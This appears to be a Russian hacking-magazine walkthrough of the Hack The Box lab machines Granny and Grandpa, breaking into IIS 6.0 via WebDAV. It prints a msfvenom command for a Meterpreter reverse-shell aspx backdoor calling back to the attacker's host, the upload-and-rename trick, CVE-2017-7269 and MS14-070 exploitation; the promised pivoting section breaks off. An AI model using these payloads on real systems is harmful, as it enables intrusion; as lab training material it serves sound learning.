Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box

Умение пользоваться техникой pivoting — проброса трафика к жертве (и обратно) через промежуточные хосты — жизненно важный скилл для этичного хакера, он пригодится при тестировании на проникновение любой корпоративной сетки. В этой статье мы превратим прохождение двух несложных виртуалок с Hack The Box в полезную шпаргалку по проксированию соединений во время пентеста.

На заре становления Hack The Box как онлайн-площадки для тренировки вайтхетов в списке машин значились две виртуалки: Grandpa (IP: 10.10.10.14) и Granny (IP: 10.10.10.15). Обе эти машины нацелены на эксплуатацию уязвимостей WebDAV (набора дополнений для HTTP), и стратегии захвата их root-флагов практически не отличаются друг от друга.

Поэтому, чтобы разнообразить прохождения, мы сначала быстро рассмотрим, как можно взломать каждый из хостов по отдельности, а после этого превратим один из них в шлюз, через который атакуем второй хост.

 

Granny

Первой мы будем проходить виртуалку Granny. Эта машина достаточно проста (рейтинг сложности — 3,4 балла из 10), однако, как по мне, она максимально приближена к случаям из реальной жизни (по крайней мере там, где не следят за обновлениями ПО). Недаром именно такие тачки часто попадаются на сертификации OSCP в лайтовой ценовой категории.

Hack The Box — Granny
 

Разведка

Для начала сканируем порты и исследуем найденные сервисы.

Nmap

Сканирование Nmap я провожу в два этапа: поверхностное (только SYN-пакеты, без скриптов) и точечное по найденным портам (с задействованием скриптового движка NSE и определением версий сервисов).

root@kali:~# nmap -n -Pn -oA nmap/granny-initial 10.10.10.15
root@kali:~# cat nmap/granny-initial.nmap
...
Host is up (0.065s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http
...

Видим только один открытый порт — 80-й, веб. Узнаем, кто там живет.

root@kali:~# nmap -n -Pn -sV -sC -oA nmap/granny-version 10.10.10.15 -p80
root@kali:~# cat nmap/granny-version.nmap
...
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| WebDAV type: Unknown
| Server Date: Sat, 21 Dec 2019 18:04:11 GMT
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|_ Server Type: Microsoft-IIS/6.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
...

Итак, что у нас есть? Веб-сервер Microsoft IIS, версия 6.0. Если спросить Google, что он знает об этой ревизии IIS, то он сдаст «мелкомягких» с потрохами: Windows Server 2003.

Узнаем версию Windows по версии веб-сервера IIS

Информации об архитектуре Windows у нас нет, поэтому пока будем считать, что это x86, ибо они были более распространены в свое время. Также скрипт http-webdav-scan.nse оповестил нас об установленном наборе HTTP-расширений WebDAV. В общем, все намекает на то, что нам суждено отправиться на исследование веба.

 

Веб

Изучим 80-й порт с разных углов: от простого браузера до специальных утилит для работы с WebDAV.

Общие сведения

На главной странице веб-сервера (http://10.10.10.15/) — заглушка.

http://10.10.10.15:80/

Браузер оказался немногословен, поэтому постараемся расширить список наших знаний о системе заголовками HTTP-хедеров.

root@kali:~# curl -I 10.10.10.15
HTTP/1.1 200 OK
Content-Length: 1433
Content-Type: text/html
Content-Location: http://10.10.10.15/iisstart.htm
Last-Modified: Fri, 21 Feb 2003 15:48:30 GMT
Accept-Ranges: bytes
ETag: "05b3daec0d9c21:348"
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Date: Sat, 21 Dec 2019 21:51:01 GMT

В заголовках ожидаемо присутствует информация о том, что используется ASP.NET. Держи в голове две базовые схемы, когда речь заходит о стеке технологий веб-разработки:

  • LAMP = Linux + Apache + MySQL + PHP
  • WISA = Windows + IIS + SQL Server + ASP.NET

В нашем случае, так как речь идет о Windows, платформа ASP.NET выступает в роли альтернативы PHP. А это значит, что именно этот компонент стека будет средой для создания полезной нагрузки бэкдора, и было бы неплохо найти способ доставки на сервер файлов с расширением asp/aspx.

WebDAV

Надстройки WebDAV привносят дополнительные методы в дефолтный набор HTTP-запросов. Один из них — метод MOVE, который позволяет перемещать (грубо говоря, переименовывать) файлы на сервере. Идея нашего злодеяния довольно проста: загрузить на веб-сервер легитимный файл и переименовать его в исполняемый, изменив расширение на asp или aspx. Таким образом мы обойдем черный список из типов файлов, которые нельзя было загрузить изначально. Эта уловка стара как мир, а в основе ее лежит небезопасная настройка веб-сервера (OSVDB-397), доверяющая метод PUT кому угодно.

Для взаимодействия с WebDAV есть несколько удобных инструментов командной строки, которыми мы и воспользуемся.

Сначала исследуем состояние безопасности с помощью davtest. К сожалению, эта утилита не позволяет указать прокси-сервер, чтобы посмотреть, какие именно запросы были отправлены, поэтому мы пустимся на хитрость: запустим Burp Suite, перейдем на вкладку Proxy → Options и добавим еще один листенер 10.10.10.15:80 на интерфейс loopback.

Настройка дополнительного листенера в Burp Suite

Теперь я могу натравить davtest на localhost точно так же, как на 10.10.10.15, и все запросы полетят через проксю Burp.

root@kali:~# davtest -rand evilhacker -url localhost
********************************************************
Testing DAV connection
OPEN SUCCEED: localhost
********************************************************
NOTE Random string for this session: evilhacker
********************************************************
Creating directory
MKCOL FAIL
********************************************************
Sending test files
PUT aspx FAIL
PUT php FAIL
PUT cgi FAIL
PUT jhtml FAIL
PUT html FAIL
PUT asp FAIL
PUT txt FAIL
PUT cfm FAIL
PUT pl FAIL
PUT shtml FAIL
PUT jsp FAIL

********************************************************

Несмотря на то что, по мнению davtest, все попытки загрузить какой-либо файл на сервер провалились, мы можем открыть историю Burp и посмотреть, что же на самом деле произошло.

История HTTP-запросов Burp Suite

Как видно из скриншота, разные запросы PUT получили разные ответы веб-сервера:

  • при попытке загрузить файл с расширением aspx — категорический запрет (403);
  • для файлов .asp, .cgi, .shtml — неопределенное поведение (404, не уверен, почему IIS выбрал именно эту ошибку);
  • для всего остального — конфликт загрузки (409).

Последняя ошибка привлекла мое внимание, потому что встречается она не так часто и связана в основном с конфликтами версией загружаемого и существующего на сервере файлов.

«Этой ошибке здесь не место», — подумал я и посмотрел внимательнее на тело запроса загрузки простого текстового файла.

PUT /localhost/davtest_evilhacker.txt HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: close
Host: localhost:80
User-Agent: DAV.pm/v0.49
Content-Length: 19

TXT put via davtest

Вся проблема в том, что davtest попытался загрузить эти файлы в несуществующий каталог /localhost. Еще раз открыв историю HTTP, я увидел запрос MKCOL на создание директории, который также провалился с ошибкой 409. Выглядел он так.

MKCOL /localhost/DavTestDir_evilhacker/ HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: close
Host: localhost:80
User-Agent: DAV.pm/v0.49
Content-Length: 0

Как нетрудно догадаться, проблема заключается в попытке создать вложенный каталог /DavTestDir_evilhacker внутри несуществующего родителя /localhost. Не знаю, умеет ли так делать WebDAV в принципе (смотреть спецификацию было лень; может, в комментариях подскажут), но, если попробовать создать одноуровневую директорию /localhost, она успешно появится, и все встанет на свои места.

Создание каталога /localhost в Burp Suite

Загрузка текстового файла в каталог /localhost в Burp Suite

После этого текстовый файл успешно загрузился, а это означает, что наш план в силе и можно приступать к генерации полезной нагрузки.

 

Шелл от имени NT AUTHORITY\NETWORK SERVICE

Теперь у тебя есть несколько вариантов выбора полезной нагрузки, и все зависит только от конечной цели твоего проникновения в систему.

  • Например, если ты точно знаешь, где лежит то, что тебе нужно, и для доступа хватит базовых привилегий в системе, то можно ограничиться простым веб-шеллом, взаимодействовать с которым можно прямо из браузера.
  • Если же тебе нужно внимательнее осмотреться на хосте, тогда твоим выбором может стать тот же самый веб-шелл в связке с пейлоадом на PowerShell, что в итоге дарует тебе реверс-шелл.
  • Ну а если твоя цель — полный захват контроля над тачкой с эскалацией привилегий до админа, тогда Meterpreter — твой путь.

Конечно, мы выберем последний вариант.

Генерация пейлоада

С помощью msfvenom создадим бэкдор с полезной нагрузкой Meterpreter для 32-битной версии Windows в формате aspx.

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -a x86 —platform win LHOST=10.10.14.10 LPORT=31337 -f aspx > meterpreter/m.aspx

Далее я создам скрипт автозапуска слушателя Metasploit, чтобы не вводить команды каждый раз вручную в консоли MSF.

## meterpreter/l.rc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 31337
set ExitOnSession false
exploit -j -z

cadaver

В Kali есть инструмент с жутковатым названием cadaver (то есть «труп») — это консольный WebDAV-клиент, который облегчает взаимодействие с WebDAV из командной строки.

Я скопирую сгенерированный в msfvenom бэкдор в текстовый файл m.txt, загружу его на сервер и переименую в m.aspx в интерактивной сессии cadaver.

root@kali:~# cp meterpreter/m.aspx m.txt
root@kali:~# cadaver http://10.10.10.15
dav:/> put m.txt
dav:/> move m.txt m.aspx

Загрузка и перемещение бэкдора с помощью cadaver

Теперь можно поднимать слушателя Metasploit и запускать сам файл m.aspx на сервере (просто обратиться к нему из браузера).

root@kali:~# msfconsole -qr meterpreter/l.rc

Запуск листенера Metasploit и получение сессии Meterpreter

И вот у нас уже есть сессия Meterpreter от имени NT AUTHORITY\NETWORK SERVICE.

 

Шелл от имени NT AUTHORITY\SYSTEM

Далее дело техники: запустим советчик по локальным уязвимостям и выберем наугад первый попавшийся эксплоит — благо тачка старая и выбор велик.

Поиск доступных локальных эксплоитов (ВМ Granny)

После минутного ожидания 29 уязвимостей были проверены, и семь из них подошли с высокой вероятностью.

Повышение привилегий с помощью MS14-070 (ВМ Granny)

Я выбрал MS14-070 — уязвимость виндового стека TCP/IP. Повышение привилегий с помощью Metasploit заняло считаные секунды, и я получил привилегированный шелл.

Если заспавнить шелл и спросить whoami, сервер ответит, что ты все еще обладаешь правами не выше NETWORK SERVICE. Происходит это из-за того, что пейлоад Meterpreter все еще инжектирован в первый процесс, который мы заарканили до повышения привилегий. Для того чтобы получить права SYSTEM из оболочки cmd, достаточно мигрировать вредоносный процесс в процесс с соответствующими привилегиями.

Who am I?

Я выбрал cidaemon.exe с PID 3964 в качестве носителя и подселился к нему.

Миграция в процесс cidaemon.exe (3964)

Теперь права отображаются корректно.

Я спрошу снова: Who am I?

Дело за малым: найти и вытащить хеши (флаги) юзера и администратора. Сделаю я это с помощью Meterpreter — а именно модулей search и download.

Получение флагов (ВМ Granny)

Напоследок посмотрим на разрядность ОС.

meterpreter > sysinfo
Computer : GRANNY
OS : Windows .NET Server (5.2 Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Domain : HTB
Logged On Users : 1
Meterpreter : x86/windows

Судя по сведениям sysinfo, наше предположение о 32-битной природе Windows подтвердилось.

На этом виртуалку Granny считаю пройденной.

Трофей

Переходим к Grandpa.

 

Grandpa

Эту тачку (рейтинг сложности — 4,5 балла из 10) я пробегу быстрее и не буду так подробно останавливаться на каждом пункте.

Hack The Box — Grandpa
 

Разведка

Nmap

Так же в два этапа просканируем Nmap.

root@kali:~# nmap -n -Pn -oA nmap/grandpa-initial 10.10.10.14
root@kali:~# cat nmap/grandpa-initial.nmap
...
Host is up (0.064s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http
...

Результаты повторяются точь-в-точь.

root@kali:~# nmap -n -Pn -sV -sC -oA nmap/grandpa-version 10.10.10.14 -p80
root@kali:~# cat nmap/grandpa-version.nmap
...
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
| Server Type: Microsoft-IIS/6.0
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| WebDAV type: Unknown
| Server Date: Sat, 21 Dec 2019 16:49:20 GMT
|_ Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
...

 

Веб

На главной странице веб-сайта висит такая же заглушка.

http://10.10.10.14:80/
WebDAV

Единственное существенное отличие между двумя тачками, пожалуй, в типах брешей WebDAV. На этой машине доступ к загрузке файлов на сервер с помощью PUT запрещен для любых типов файлов. Однако, помня о номере версии IIS, я воспользовался нашумевшим в свое время эксплоитом для CVE-2017-7269. Основывается он на ошибке функции ScStoragePathFromUrl, которая содержит уязвимость переполнения буфера в строке одного из хедеров запроса PROPFIND (из арсенала WebDAV).

Оригинальный PoC доступен на GitHub, однако я пользовался встроенным модулем Metasploit — iis_webdav_scstoragepathfromurl.

Эксплуатация переполнения в ScStoragePathFromUrl с помощью Metasploit

После получения сессии Meterpreter ты можешь столкнуться с ошибкой прав доступа. Причины возникновения этого бага схожи с теми, что мы наблюдали в аналогичной ситуации при прохождении Granny: пейлоаду тесно в процессе, в котором он сидит.

Чтобы выйти из этого положения, я снова вызову Process List и мигрирую в тот процесс, который обладает нужными мне полномочиями.

Миграция в процесс w3wp.exe (2408)

Кстати, чтобы узнать, в какой процесс был проведен первичный инжект, можно воспользоваться командой netstat до миграции и посмотреть список активных сетевых соединений.

C:\windows\system32\inetsrv>netstat -vb

Определение текущего процесса Meterpreter
Эскалация привилегий

Здесь все идентично предыдущей тачке: для повышения привилегий я буду использовать тот же сплоит.

Поиск доступных локальных эксплоитов (ВМ Grandpa)

Для порядка я запустил поиск локальных уязвимостей, и список оказался точно таким же, как и у виртуалки Granny.

Повышение привилегий с помощью MS14-070 (ВМ Grandpa)

Выбрали ms14_070_tcpip_ioctl, повысили привилегии и получили свою сессию.

Получение флагов (ВМ Grandpa)

Забираем награду, и Grandpa пройден!

Трофей
 

Pivoting

Ну а теперь, собственно, то, ради чего мы сегодня собрались! Я продемонстрирую некоторые базовые принципы проброса соединений с помощью Metasploit.

Обозначим условия задачи. Дано:

  • Локальная ВМ атакующего с Kali Linux (IP: 10.10.14.30), которая имеет прямой доступ к ВМ Granny (IP: 10.10.10.15).
  • ВМ Granny, которая имеет прямой доступ к ВМ Grandpa (IP: 10.10.10.14).
  • У ВМ атакующего нет прямого доступа к ВМ Grandpa — входящие и исходящие соединения блокируются с помощью iptables.
  • Требуется:

  • Установить соединение между ВМ атакующего и ВМ Grandpa для сторонних утилит (вне контекста сессии Metasploit).
  • Установить соединение между ВМ атакующего и ВМ Grandpa в контексте сессии Metasploit и получить максимальные права на хосте Grandpa.
  • Решение…

    Источник: xakep.ru

    Один комментарий

    Ответить

    Ваш адрес email не будет опубликован. Обязательные поля помечены *